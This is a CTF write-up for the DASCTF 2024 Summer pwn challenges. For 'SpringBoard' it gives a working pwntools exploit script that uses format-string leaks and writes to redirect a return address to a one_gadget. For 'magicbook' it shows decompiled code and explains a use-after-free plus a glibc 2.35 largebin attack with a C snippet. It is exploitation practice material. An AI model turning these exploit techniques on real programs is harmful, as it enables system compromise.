PWN」【DASCTF2024 Summer】Writeup WP Reproduction
If I don't practice, my skills will deteriorate, and I won't have any books to read.
SpringBoard
Non-stack formatted string, find a chain of a->b->c on the stack, change a->b to a->b*->return_address (usually two bytes are enough to change).
Then change b*->onegadget.
from pwno import *
# sh = process("./pwn.bak", env={"LD_PRELOAD": "./libc.so.6", "LD_LIBRARY_PATH": "."})
sh = gen_sh()
sa("Please enter a keyword\n", b"%9$pAAAA%6$p")
libc.address = int(recvu(b"AAAA", drop=True), 16) - 0x20840
stack = int(recvu(b"You", drop=True), 16) # %10$p, next = %37$p
success(f"libc.address: {hex(libc.address)}")
success(f"stack: {hex(stack)}")
og = [0x4527A, 0xF03A4, 0xF1247]
gadget = libc.address + og[2]
# payload = b" ".join(f"{i}:%{i}$p".encode() for i in range(6, 20))
payload = "%{}c%11$hn".format((stack - 0xD8) & 0xFFFF).encode() # -> ebp
dbg("b printf")
sa("Please enter a keyword\n", payload)
payload = "%{}c%37$hn".format((gadget) & 0xFFFF).encode() # -> low 2 byte
sa("Please enter a keyword\n", payload)
# payload = b" ".join(f"{i}:%{i}$p".encode() for i in range(6, 20))
payload = "%{}c%11$hn".format((stack - 0xD8 + 2) & 0xFFFF).encode() # -> ebp + 2
sa("Please enter a keyword\n", payload)
success(f"{hex(gadget)}")
dbg("b printf")
payload = "%{}c%37$hn".format(((gadget) >> 16) & 0xFFFF).encode()
sa("Please enter a keyword\n", payload)
# stack + 0xa0
ia()
magicbook
2.35, at first glance, it's a largebin.
Edit shows that it's read(0, buf, book), consider if it's possible to directly enlarge book to cause overflow.
void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("come on,Write down your story!");
read(0, buf, book);
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}
Create can create up to five.
size_t creat_the_book()
{
size_t v0; // rbx
__int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF
if ( book > 5 )
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 )
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0]));
return ++book;
}
Delete has UAF. After freeing a largebin, modify fd to perform largebin attack, change book to cause overflow.
__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]);
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 0x59 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}
The problem is, I've forgotten how to modify Largebin 😂
Here's a brief review of the 2.35 path.
First, >= 0x440 goes directly into ub, then when allocating, it takes from ub first, if not enough, it goes to main_arena, then enters largebin. Here, we only discuss the range [0x440~0xc40), because they are each spaced 0x40 apart.
Largebin is divided by size intervals; a largebin is organized from largest to smallest. Each size's head pointer remains unchanged, being the first chunk of that size (the first released chunk), and the rest are inserted at the head after it.
For each size's head pointer, fd_nextsize and bk_nextsize are used to string them together, with fd_nextsize pointing to a smaller one, forming a circular linked list.
And fd and bk are used to manage the entire size list.
 {
// 1. 创建并释放一些largebin大小的堆块
void *chunk1 = malloc(0x450);
void *chunk2 = malloc(0x460);
free(chunk1);
free(chunk2);
// 2. 修改某个largebin堆块的bk_nextsize指针
*(void **)((char *)chunk2 + 0x18) = (void *)((char *)target_addr - 0x20);
// 3. 创建一个新的largebin大小的堆块，触发插入操作
void *chunk3 = malloc(0x440);
free(chunk3);
}
在这个示例中，chunk2的bk_nextsize指针被修改为target_addr - 0x20，当chunk3被插入 largebin 时，target_addr将被写入chunk3的值。
参考资料
通过以上解释和示例代码，希望能够帮助理解 Largebin attack 的原理和利用过程。
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